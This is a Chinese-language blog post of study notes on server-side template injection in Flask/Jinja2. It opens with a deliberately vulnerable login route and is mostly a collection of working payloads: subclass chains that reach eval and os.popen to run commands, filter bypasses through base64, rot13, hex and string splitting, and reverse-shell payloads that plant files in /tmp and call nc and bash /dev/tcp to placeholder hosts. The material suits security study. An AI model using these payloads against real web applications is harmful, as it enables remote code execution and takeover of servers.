zoukankan      html  css  js  c++  java
  • SSTI学习

    SSTI 概念

    SSTI就是服务器端模板注入(Server-Side Template Injection)

    SSTI原理

    来看一段简单的代码

    from flask import Flask
    from flask import request, render_template_string, render_template
    
    app = Flask(__name__)
    
    
    @app.route('/login')
    def ssti():
        person = {
            'name': 'hello',
            'secret': '7d793037a0760186574b0282f2f435e7'
        }
        if request.args.get('name'):
            person['name'] = request.args.get('name')
    
        template = '<h2>Hello %s!</h2>' % person['name']
    
        return render_template_string(template, person=person)
    
    
    if __name__ == "__main__":
        app.run(debug=True)
    
    

    这里render_template_string函数在渲染模板的时候,使用了%s来替换字符串,其中Flask中使用了Jinja2作为模板渲染引擎,{{}} 作为变量包裹符,在渲染的时候,会把{{}}中的内容当作变量解析,所以1+1就会变成2.

    传入:/login?name={{2*2}}

    回显为4,其中的{{2*2}}就被解析了
    payload,python3。(注意,python2和3的情况是不一样的)

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("ls").read()') }}         //poppen的参数就是要执行的命令
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    
    print(().__class__.__bases__[0])//<class 'object'> 找到了基类object
    print(''.__class__.__mro__[1]) //这个也是object
    
    for i in enumerate(''.__class__.__mro__[1].__subclasses__()): print (i) #这里我们可以找到所有的子类,再注意,python2和python3不一样。
    

    所以,前面那个payload就显得很重要,你不用一个个去查那个系统的子类有什么东西。

    常见payload,有些地方不能复现。

    ''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() ->这里[40]指向file类,python2
    
    print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read())  
    

    注意这里,[128]是不一定的,我们需要找到的是os._wrap_close,也就是这里应该是os._wrap_close.init.globals,后面的参数为函数+命令。

    绕过

    1、过滤[]等括号

    getitem() 用来获取序号
    "".class.mro[2]
    "".class.mro.getitem(2)

    2、过滤字符

    {{().class.bases[0].subclasses()[59].init.globals.builtins'eval'}}
    2.1 base64
    {{().class.bases[0].subclasses()[59].init.globals.builtins'ZXZhbA=='.decode('base64')}} (可以看出单双引号内的都可以编码)
    2.2 rot13
    {{().class.bases[0].subclasses()[59].init.globals.builtins'riny'.decode('rot13')}}
    2.3 16进制编码
    {{().class.bases[0].subclasses()[59].init.globals.builtins'6576616C'.decode('hex')}}
    2.4 拼接字符串(base64,hex,rot13也可以进行拼接)
    过滤了(ls.import.eval.os)
    {{().class.bases[0].subclasses()[59].init.globals.builtins'e'+'val'}}

    拼接比较好用。

    更多参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

    4、POC
    更多参考:https://p0sec.net/index.php/archives/120/

    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    
    object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
    
    {{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
    下有eval,__import__等的全局函数,可以利用此来执行命令:
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
    
    反弹shell:
    # 写入文件
    payload 1 ::
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
    payload 2 ::
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
    # 利用 config.from_pyfile 加载文件
    {{ config.from_pyfile('/tmp/shaobao') }}
    # 反弹shell ; 提供两种方法;对应上的两个文件
    payload1 ::
    {{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
    payload2 ::
    {{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}
    
    

    参考:https://xz.aliyun.com/t/3679 https://www.dazhuanlan.com/2019/12/16/5df658e7d4e01/

  • 相关阅读:
    最少说服人数(二分+贪心)
    线段树或树状数组或归并(逆序对)
    线段树(区间更新,区间询问,节点存最小值)
    【Hades】ades是一个开源库,基于JPA和Spring构建,通过减少开发工作量显著的改进了数据访问层的实现
    【hibernate】spring+ jpa + hibername 配置过程遇到的问题
    【方言】Access to DialectResolutionInfo cannot be null when 'hibernate.dialect' not set
    【Bean】 这才是bean,一直没仔细看
    【spring配置】 一组配置文件引出的问题
    org.springframework.web.servlet.view.InternalResourceViewResolver
    org.springframework.orm.jpa.JpaTransactionManager
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13719889.html
Copyright © 2011-2022 走看看